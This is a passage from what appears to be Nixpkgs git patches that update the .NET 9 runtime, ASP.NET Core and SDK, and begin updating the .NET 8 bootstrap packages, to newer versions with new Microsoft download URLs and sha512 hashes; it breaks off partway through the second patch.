-  release_9_0 = "9.0.7";
+  release_9_0 = "9.0.8";
 
   aspnetcore_9_0 = buildAspNetCore {
-    version = "9.0.7";
+    version = "9.0.8";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-arm.tar.gz";
-        hash = "sha512-dMQjUb5A3W8gZWzC9AUz1fRddZM4/EnNvWnYP7TPTkFX3Ek8CAg8SEdES8RiidAz+TyXgHL53nK+56VBJRq6DA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-arm.tar.gz";
+        hash = "sha512-qZREscunr0rNEtmtQSb+Ss3fLvDgK5md4LwYU3QuE27/sD7XrcKgpHBi0AUbMXkyCkf9PSOdD7hvl3W3PeQ9Gg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-arm64.tar.gz";
-        hash = "sha512-ebKN8rxSLUe9DqP4tKqkRxAvkgGdA4ZwdD+7weazHdIGSZ/238LTFiPe22Sp4sojYIx+pyJfHwcXRd5yyfgb9A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-arm64.tar.gz";
+        hash = "sha512-zx5y9LMnuTwaw/Le+cqDvuJ6QI5bWRP4TtlUz9bEY52hZk/j9OOSWIPbd+0p+lNkucqK83lvM8pzpMt0hOMmvA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-x64.tar.gz";
-        hash = "sha512-sXXU0FePn11zXVne8/REWUYu82tL0H2coO2YU79C2Qx7rOGV/yZKnc9t1NbUUshwWQhRRiaPzjVA7Vjq85Yp6w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-x64.tar.gz";
+        hash = "sha512-CK/fkk0A+HW0TMTv9otV+5tj5Mxo5rXN6HPaK86cW19BIOhptqHf3qSrEEqwrIeD7xV3tNMnWq6JmlPNiBMPHQ==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-musl-arm.tar.gz";
-        hash = "sha512-NJd8TzThH1Kr3A5I8E3JWrDRvf1kHdQKTFOQwJDSQuxF7VCvsXYTn87WpaU0ayU0X9+r/x6kOLhZS1JpLxSjrQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-musl-arm.tar.gz";
+        hash = "sha512-RND6DTb5z/mT9wie/TsrPg5g1AO8K1o5URa+fWtDqCRx4qu0TNFwJGStMCM3vD4M5J4kLwL6FKEUKI8PimYilg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-musl-arm64.tar.gz";
-        hash = "sha512-1La1Q5lX9q0xwfiT4+dbToy7Py8dmn+iGukimuZSX8+Y1kO+pMuOeNscUJ49t1t4axI5/S3vIyjplUGisE5XqQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-musl-arm64.tar.gz";
+        hash = "sha512-5ExwXEbRT8tXVPF7o0bqKHb8G9tEv6A3K0jAmXkZmnaOuCdmuOfiK53AGnw4uFPvG1P4stxX3vFbPcJf0I6yVg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-musl-x64.tar.gz";
-        hash = "sha512-rH/FG4C8uSwoIlIIOEksyQjAjQYBFILbOHdtaqxEIASvEKULrOJeLdmGxDC2HKzcGIyqHnJ8WCHO7maaC8sOlQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-musl-x64.tar.gz";
+        hash = "sha512-5D3IU1sy+f0Xtrgc+7l1vkbwn3eTAkBC5i/htJnbZu6tbbESylH+/ZojxnbLbcsBkcWYXC9TQGmB9OFfC272Zw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-osx-arm64.tar.gz";
-        hash = "sha512-A2Zf9tvfeAW/3rSrm51R8a4fqG5cyKQtPvqPiNFAK+J9Z9F4ihplnMQnrzQX2P1XLg2YUcBNSyzDdOJoKxIgOQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-osx-arm64.tar.gz";
+        hash = "sha512-T+od1lxCvVoGUOG+m2K8ygX0jKLI0bWX6VjGX5TfZZZmUHx+twPdnQbyStAHmI/pKvc2P+2z20lQK4pcVPmthA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-osx-x64.tar.gz";
-        hash = "sha512-aHivNpxydhhA7fLc1m1Yz0zdvKYYyfvXI6bW04Gc+sYVCo1yyZ93ESm1TC/z5v8lgFyI5w5d7zAeJChFi370Rg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-osx-x64.tar.gz";
+        hash = "sha512-cOgD8+BEnqxWQ43hL4dx8yJgcpbuU+DmiWziEfXa/gg/XzP54sdsVAEsk/wblR4MFjDJdEd3fcRovvn7EZSfww==";
       };
     };
   };
 
   runtime_9_0 = buildNetRuntime {
-    version = "9.0.7";
+    version = "9.0.8";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-arm.tar.gz";
-        hash = "sha512-hdyrtE15/rPwIuZXM7XDsUQWn/y6uWVFgLp6HvvxRY2qkxY5Wm29nMHaw5s066OSnmOhzshPtuVmrREBH63SNA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-arm.tar.gz";
+        hash = "sha512-XitlwgOdZuHGyasekrvUh/zRvXphI8FwvqzbHOJGiNc0noSuizhr11i9JHK3NtGO3qg3DMY+tV+sCqs1ZYgP3g==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-arm64.tar.gz";
-        hash = "sha512-5c/znYwk0eEUEG6lFWPwxkBUgmiJjoNJow1D8G0ix3WV4Gcl4oBzeT3QI7YSrxFYEjRZBuJszix4jwavYT1CUg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-arm64.tar.gz";
+        hash = "sha512-MBXpX/DDc7jVlJHPHDIMgPTsdBjWNAC/ZQjU4l5xpH2yhUkVNIqxhuWKktWsLyD77BPWPfXF9gH/SvXynD2c0w==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-x64.tar.gz";
-        hash = "sha512-4nO1kq6eHHXpHOO+b08tIxQydpABQeKcZz1GSQEY0BFfbRlormz+1ZjKMA/oibog+gYHh+u1QDCEM1gKPGxc2A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-x64.tar.gz";
+        hash = "sha512-92luoqMKErrQyPcyGsQoQ87TBxhNiUyUpkyFKJs88wk23zc/9YVDzpt3YFqAJD0fx3e8lZV1Y0qq2cqogPv4Zg==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-musl-arm.tar.gz";
-        hash = "sha512-/LZMWeR3TNJw2Fbn4FalAjVnyEBI8BJUBGt3ZLanCNWCxK1Uj7XSMexLCzZp6+nOatJNbnrGlRtQtJAHuOuuoQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-musl-arm.tar.gz";
+        hash = "sha512-sQh1B3IPZCmiSihUVMzVSokifIXcsb3wwjQkdyMJR8kc4/FmW+diYRNqk1yXPUvtjF0c7AiX+GsJMWuq7h27Qg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-musl-arm64.tar.gz";
-        hash = "sha512-9cJCVscL9qQS8iEY6EEp74EKY3hxWeNP4MjSH7vB++0jqBa6lXxlNUbowhUr7KKmpEGTlJwOh9a2pkUdr/s77g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-musl-arm64.tar.gz";
+        hash = "sha512-AYQXIV58CoKhnsfhGaQ4vKkYucRI84SyffuH+YGpiKwhTFdvKKrv7IV0WwBc/3C/0pm+Mb8k4xlVOKTpH6bv4w==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-musl-x64.tar.gz";
-        hash = "sha512-B0CcgI2pzRmmTlJeYSm8P43k7zKzCHAel6ixQweB7bP4Y7Ds6a+tBIhyce4zIXEA9Rn5bYn+2UIAsGESrPrESg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-musl-x64.tar.gz";
+        hash = "sha512-oAgYUGPY80Y15AMoMTrzHnuuI5yNokcmsf8gEuyTDDLvDcDWcpKuvE2FMNKyb6Rs/7M5PPFrzfZsEOqINFitcQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-osx-arm64.tar.gz";
-        hash = "sha512-DesjrHFNrWm/fQxn5CUyVtCEWIG4BcyLnG8gUSg9X5u7AA02MFhSPc5Mc2HCtGABaoZbbWuqWEPJJjWR1TnrIA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-osx-arm64.tar.gz";
+        hash = "sha512-+n7QPNWl4FVfZfjwEBx3Yua/2gBfpJWvoSZRjU1ByXNMZX/DWc+A+Qv2+/GGwmrwOBnbrdUlHpftTL0Ej8J7OA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-osx-x64.tar.gz";
-        hash = "sha512-cOtHKrJPOKam6TBmHgmsZjXdoM8FSJkEDCXPMzLyTxy7PuwZ4c/PIhS0ZtAA9t3H1JRIpsYQbDtw/Qv3Bj9ubQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-osx-x64.tar.gz";
+        hash = "sha512-M5jxrKx2R+Jc0kdoBMWtJkyhjhUtDiKzLr2mvV13RMHpMqqQhq7NN5S4208vcl7SD/3UT/YV5ygaCsXdlQc7nw==";
       };
     };
   };
 
   sdk_9_0_3xx = buildNetSdk {
-    version = "9.0.303";
+    version = "9.0.304";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.303/dotnet-sdk-9.0.303-linux-arm.tar.gz";
-        hash = "sha512-bSXP+PZ+aK+YODUi+2IoW44Pg1qodLkdYdW8NbkEy08b1mut9U2y4RvS9y+32VQbkA4kOFimljfhcuFUfVzWaw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.304/dotnet-sdk-9.0.304-linux-arm.tar.gz";
+        hash = "sha512-1DMobseBFScRB7VZj7zPu5ZnWQ4TMYUvvzHsFIdinNYGrT1cL+zQrZTM2wKTF7eynz9VMIs4Tucrq9/aBle2vA==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.303/dotnet-sdk-9.0.303-linux-arm64.tar.gz";
-        hash = "sha512-glczgoLlrZ7IUw5rG3Cl4jXZxKubm+bQVI9hzbClXnFanXZrVSA+4BA24grpvU50q6v6GnyU1F6JsvMU6Q6Zmw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.304/dotnet-sdk-9.0.304-linux-arm64.tar.gz";
+        hash = "sha512-Xs9LfNwvq29/plp0jm4va9XQThYOV/7jVtMiU6iMrPlzGSN9oSNmRwhVBfcGmQy2FiV9lsrO0ft2hjIuP72PHQ==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.303/dotnet-sdk-9.0.303-linux-x64.tar.gz";
-        hash = "sha512-4RUYwYSrT4C11kEey8o+B+JEoZDpSeUe9z02xSFCDwYQeYeUetqSRhikS5FCyqCXvQNlnZcySfRjql5YQX6/3A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.304/dotnet-sdk-9.0.304-linux-x64.tar.gz";
+        hash = "sha512-sIeCjVldDGiGv2UsafORAwP0VazLGslWQD95UIDFXK9Zcy874OMfx0Sv8TWRqS4e/rZG7zymFl7RejzRKmeyKQ==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.303/dotnet-sdk-9.0.303-linux-musl-arm.tar.gz";
-        hash = "sha512-Gn3x2Y+NaGNpvhaJPAK39eF7ZHhcS7PVVy8jBH2cfCUrp8GmcSAT/+J0459gcHobDi6gDwdpGXbSecgJkji9vw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.304/dotnet-sdk-9.0.304-linux-musl-arm.tar.gz";
+        hash = "sha512-8enI84bN6myUZ+u2artY6xzJd+YleCYQH8gCGZNl2WHIExckpisbDU6TA+jS3BIafgNqTOgDTMNFxIid3ukt0A==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.303/dotnet-sdk-9.0.303-linux-musl-arm64.tar.gz";
-        hash = "sha512-P0uR41oG2VxzfABnPf8pZYTXsz7pEc4zRBNiSMZfhBWBvjkif9Q6AOPANt3zpVPPAfM7Lpc64q9XibxuUEVY8Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.304/dotnet-sdk-9.0.304-linux-musl-arm64.tar.gz";
+        hash = "sha512-s2wpW2hGx8dAerh7tthY/17l3od+jaXtPR2XDsAsm+OOJCfM1U4eEPUXwJKMp730svXZHAs7RoxEI2bg/ogg5Q==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.303/dotnet-sdk-9.0.303-linux-musl-x64.tar.gz";
-        hash = "sha512-320qBD5LMb54ykNgcnoebHEkPUDK/Pg8vEVOtJBMuDiHGtzr4hgXiFQK42seCineuiljh2F90jxKvZOvy3AMDQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.304/dotnet-sdk-9.0.304-linux-musl-x64.tar.gz";
+        hash = "sha512-1GvUQh40uGSIK0UI621sF19rUMxdLzhjZF6TGsOY8t5ma9QU+obdUwlOeVjvm3Gzs8hIQ4YZjBQg6VFvnULIoQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.303/dotnet-sdk-9.0.303-osx-arm64.tar.gz";
-        hash = "sha512-QQmZkH1gksUhVa/FnDvKwUmBGFHbcxj2/iFeN7N3rBsxbLtZW7IctSZ5HzltpM1Dnkstt21FqCW1fML0cpouLg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.304/dotnet-sdk-9.0.304-osx-arm64.tar.gz";
+        hash = "sha512-r9TiWB7VvFPeYMEMXcpXFYilHZXMkLgy5Ykrp9+seOOBK3WhMrU8OVchc3CSk1zqce0PQKqr6dMmRXBDx1BZjQ==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.303/dotnet-sdk-9.0.303-osx-x64.tar.gz";
-        hash = "sha512-Awl5B4eA87sII2M/DdoyT71Rm84VP95tQbZvLsU/szgyilAc2eOgQl5eczxDCisZffT99uThQWbyS6sLXDfQsA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.304/dotnet-sdk-9.0.304-osx-x64.tar.gz";
+        hash = "sha512-MNJfqE4x3DhSv+OwwPHGnVMTaC4X2NVxsT+JuouitE/wksZ8OoZXeBuw6CQ/VLxRhBsLReJk6G3wV+ea1F01bw==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
@@ -523,39 +523,39 @@ rec {
   };
 
   sdk_9_0_1xx = buildNetSdk {
-    version = "9.0.108";
+    version = "9.0.109";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-arm.tar.gz";
-        hash = "sha512-FliKnG0DCOC2kqy4VHZMQvGuldzdpDebRKLZPIlwxcl0W0b7QITuwpYeknqloxI7fdO1RtAP14epsGza6/mG/w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-arm.tar.gz";
+        hash = "sha512-QJEtXxu/WbBx0uHTHsHZq93b893GSzIz58fpFpawI+H6eglHJdOZW5MciAA4Ql7OvAXwE/dZYye/SWaSnpgBtQ==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-arm64.tar.gz";
-        hash = "sha512-laP4pmKWsjrs2GyiluK9FHzzluL2p7bGvnlbcN8kEdYWPfFeKKa7JiSOILYZwXlN3Fux39Lwp9Xh5YqdLUU5gg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-arm64.tar.gz";
+        hash = "sha512-Kd/68u4iQCxgHD4cvvNoKbow/jLpdrMfJH32BaFF76KafiPfUJ7YH6mm0T8eVYFeKlkiA6p5wudniNkBpuGrWA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-x64.tar.gz";
-        hash = "sha512-jC2YjpmLkGxxaEy+muycvytlyzHtjD6xWm5l+WGwMfrroy1xmX9Q1W4E5vAIH4YEgHItwWk8awFVQ+thrNtYdg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-x64.tar.gz";
+        hash = "sha512-zDhqjnAJhVpumjqKFT2htc5UwuC3t64wVEXunw1XNVGN/u8Nj/MqREeC4180oxZ1ck4EBTYAGnbJ3Bt1W1omBQ==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-musl-arm.tar.gz";
-        hash = "sha512-Qa5oViep0n/EsZom8OdgEVOEkDq7LjkZxPgCe6PnWotANLLpl1Zfd5nq4ZOFED/aHhMbI8F2oWBXiLvL31/BEQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-musl-arm.tar.gz";
+        hash = "sha512-62kBlt/TQmebHm0Mw/UAZ74dDypu+RFx/rcS5MSkkb7jgeNQBjgpDh5Z6TP3f1fMZL7ZLK1u6h62VnarikxmoQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-musl-arm64.tar.gz";
-        hash = "sha512-L8eGZ6/7dXpwcXWjsMVXmF4s6TCnUD9KqE8gsILZiGo1oPDfVLoZAteLAtYY+3yImdxOqZaY6tQ8fMVlz1X/2A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-musl-arm64.tar.gz";
+        hash = "sha512-CZ+bh0Cjx1hBU8KWFg/Jb8y8GMfCRnjv9+ZCXWAsdw1TTE8ttWOTPNT+XJ6y1A99A6H2mu9em5RZDzYM9qFCgQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-musl-x64.tar.gz";
-        hash = "sha512-CmB51ISh0QT2+vBf7OJTUOnBi0lNy6M4aNkpTHwubJNuehnogsZadXezZ4xCHkDftpHqlQSmfWWqjVuJK5cxjA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-musl-x64.tar.gz";
+        hash = "sha512-FonLs6wXs3SQOyFKFz8kFgByrlfMXRMH9bJgUbb/BAV3K2A7amx+8ZUvc3sYyfO5dvc1S4S4mra/Fb4g3QY2tg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-osx-arm64.tar.gz";
-        hash = "sha512-EeZLhqfvjyPAsLdoE1f//OjirZo42SgDeKYbnxUlssN1QTcM1VmL3iu8EkUftbnzklHF7LIORgbBNDSYu+MHEA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-osx-arm64.tar.gz";
+        hash = "sha512-ri68P3dAq4gK9W4209Kh7lpU/BErb9zCUo8sjFmAjTZHbV+rXNqn0lgZsOSpARdF86nlxyaSzZMrMA62/YX1rw==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-osx-x64.tar.gz";
-        hash = "sha512-knxa6JTbG9pShc3eoC9zzVWtPuSfE0iqFeMoiWOxymlQEvzlH8f6DCV0Tvty+c8Rzc9nqBzZ4EAI+N3gg7zfYg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-osx-x64.tar.gz";
+        hash = "sha512-O3Lvl5RoYzAitNIi2jGnP45zjR6n1ENAghXecxGCTk8lycbdGTxEAUwmVZIoKTiVwWSlGTTzB+FT2SfnDLbztw==";
       };
     };
     inherit commonPackages hostPackages targetPackages;

From efceb9101c02eefaf9c1399fe67979b9a998a693 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Wed, 6 Aug 2025 13:13:45 +0000
Subject: [PATCH 3391/4511] dotnetCorePackages.dotnet_8.vmr: 8.0.18 -> 8.0.19

(cherry picked from commit 5b8f2fb93b1834af9a0ac3bcc87cdf5cb4716eef)
---
 .../compilers/dotnet/8/bootstrap-sdk.nix      | 552 +++++++++---------
 pkgs/development/compilers/dotnet/8/deps.json |  60 +-
 .../compilers/dotnet/8/release-info.json      |   6 +-
 .../compilers/dotnet/8/release.json           |  12 +-
 4 files changed, 321 insertions(+), 309 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/8/bootstrap-sdk.nix b/pkgs/development/compilers/dotnet/8/bootstrap-sdk.nix
index c5d22612954c..6e2149059909 100644
--- a/pkgs/development/compilers/dotnet/8/bootstrap-sdk.nix
+++ b/pkgs/development/compilers/dotnet/8/bootstrap-sdk.nix
@@ -11,43 +11,43 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "8.0.17";
-      hash = "sha512-7CBEGt44FE1zkTlbWuztY05SgJsBe4NTVQUOgCCEb6Y/SwHW3hcBP/H7Jxt5rWBCmVB3Gn8THi+fldHe+g3V+w==";
+      version = "8.0.18";
+      hash = "sha512-cl1DhWFUTOA8O139k5ytpW4ttBJRSllzfpQ/sOXHg+r0ZYm2HZu4M4iMA70yHnqp0GtuGxqUBJ2duJkk4ydRWw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "8.0.17";
-      hash = "sha512-3d/oVZzNM1+MSLPNdeassLrOlgZuFcSEZ8z9JjofhRdPSLZwVPuYiX48ylLlyXiY6WdMGn6i2kcHI3NUZ7TQmw==";
+      version = "8.0.18";
+      hash = "sha512-rMa3+s+Qy5BhAw+Zj8tDaNtcbMJcn/L6SGQ/4/qMca+JxTdWUruzCscAgA35wNLOKJ806A0rw26rhV7FdZFK0A==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "8.0.17";
-      hash = "sha512-SVpn42wW9M6HI16kOeaM09nw2SlZsgsZCHTzBPBGrVRDblwcUV7U6MxMgH9XwrqSTziAZgLhIwR2BHvHwvoxWw==";
+      version = "8.0.18";
+      hash = "sha512-pkMF8rdmxdni+bMP8A5kek1ig+rBriWqCszuNdH4MddjIzjQe1jNqjB0XdRtHZdKgL5OpWBK1nBPBYiT1oeYAw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHost";
-      version = "8.0.17";
-      hash = "sha512-Hh4MgVIOGGWATWiysB1uCATWEW/nwNaYtQcTpkVJ/NBJmzVrwx/GQQBYe0uZwiRQ8npGEBvouS0tha/5zjIcPQ==";
+      version = "8.0.18";
+      hash = "sha512-0HyBUjT2SHH9SrJxfVzsjb4wJ/3HJ2NZDfxqMfoDCRlPUCT6iApy0O+PnhAtFqyfvB+wpNsQmFhHi7MHz+hFfw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHostPolicy";
-      version = "8.0.17";
-      hash = "sha512-KzLfeiD/vvTNuuWwq+yzUP0anje9vbqC+COuV1lgsD25zyUAyJwYthDVyhYdZ07aZNs7V1bx8yoMcUUL+ql3sw==";
+      version = "8.0.18";
+      hash = "sha512-WeYxJHGMgva5F9l2oo3N3+tKZIBZNoOCjyyXju8uyWnwxtbF8HbxbRZGxR80DVJ5PIUW8E6qKVo9t/rm+0gCIA==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHostResolver";
-      version = "8.0.17";
-      hash = "sha512-490ItCA3f0tB89YK/p9mf6UB7w8tNusrjUYRpzXomG9TtOScyKaFmSxvRHaaeWGT/bbOpaitLSaWKKnnAxFKkw==";
+      version = "8.0.18";
+      hash = "sha512-iUKTKzPeh/7Vv7it/Jr7U5lCpfE2aq1hvtfdh9C0fBPboV+0fMG05t9dEl+ewN8W1rJ6+Xq92QEhbANQAA0Org==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "8.0.17";
-      hash = "sha512-47EF7FIww1odYFPgGkZdkbazfOhxVCH5VfvU89ht52DzsdeRun+u53SKRRQewcku3M76JXlPAUaWYF9YEbRhKw==";
+      version = "8.0.18";
+      hash = "sha512-+6dNm86ZF+53JC3kMQhT1msw2CzoBijWMnDxD0VDsIp5lvvtNTWy/Sl5bTuvIFcSbq00iVefNHa05ELXs9mL+g==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "8.0.17";
-      hash = "sha512-P3X61aknNd61nNPPeRvxZmKaX35fNrlmcZ6f2EqSmRFjSmVaZRY5AW1jHx+P3zyc+f5sKVvSDSe+cBwM6sIsKQ==";
+      version = "8.0.18";
+      hash = "sha512-E/HnHEgLQboNM63koeog+GQwoUjj9oLo/gJXKfdfLq8D9LfgG8tvkbnVdQD4zg9ri2pIGTTjNzwoy07whjGl5Q==";
     })
   ];
 
@@ -55,118 +55,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "8.0.17";
-        hash = "sha512-8NI7LrwgScvsfnIvIutWgDBNZv52afHUqTkQhiOYXg7kRUQ9VQsrV3wR+hnHo/WGlSibGcNBHz9hXRXGL3PApQ==";
+        version = "8.0.18";
+        hash = "sha512-diW7p7SmT+AaZ3w0mesbmnSLHLvcz7qV/PtstYS5lGoOFge9tqPrQKvN1lkjRTNyFxii3hpEVZYBA7341tCj4g==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "8.0.17";
-        hash = "sha512-qNBOlNW0AVi2ZzOUgYpQIwr8ZFkY/64+59pYYwG2+SMtkwTJdOYTNX9N03gODk7tUsIzJpZ7aBLo6KKMXgRX/g==";
+        version = "8.0.18";
+        hash = "sha512-7RgDbnLuJdyhM8LdlmcSMnTuaSrzNCGe1P+SBMxfM8hioiwupoP1axEH1KkxCl0tWjG4EZCMpZUHrh+Gb6JowA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.17";
-        hash = "sha512-t5PXM7/aThrr95wvivIB95usffttNzSxLKlCH/6breXbQ4pVVD/rRIvfQbsC+z5S3cqkyfr7bcbqdevY2i7zzg==";
+        version = "8.0.18";
+        hash = "sha512-BHJH9up/pokbEYBvkKih9QKnf/UmLXvX14m2lZZbVOvLgB6NR4Z+6ZOojuEJVmdFsWl7Ai//KYfc4sz1zewwAA==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "8.0.17";
-        hash = "sha512-MIU7+TheXyNxkcnDwBhQMLc09/id6XFqvxpZZqMQ84UH18/56YAxsPmZdkKPCXTmQhcPO45//vrDYP0FfrRHLA==";
+        version = "8.0.18";
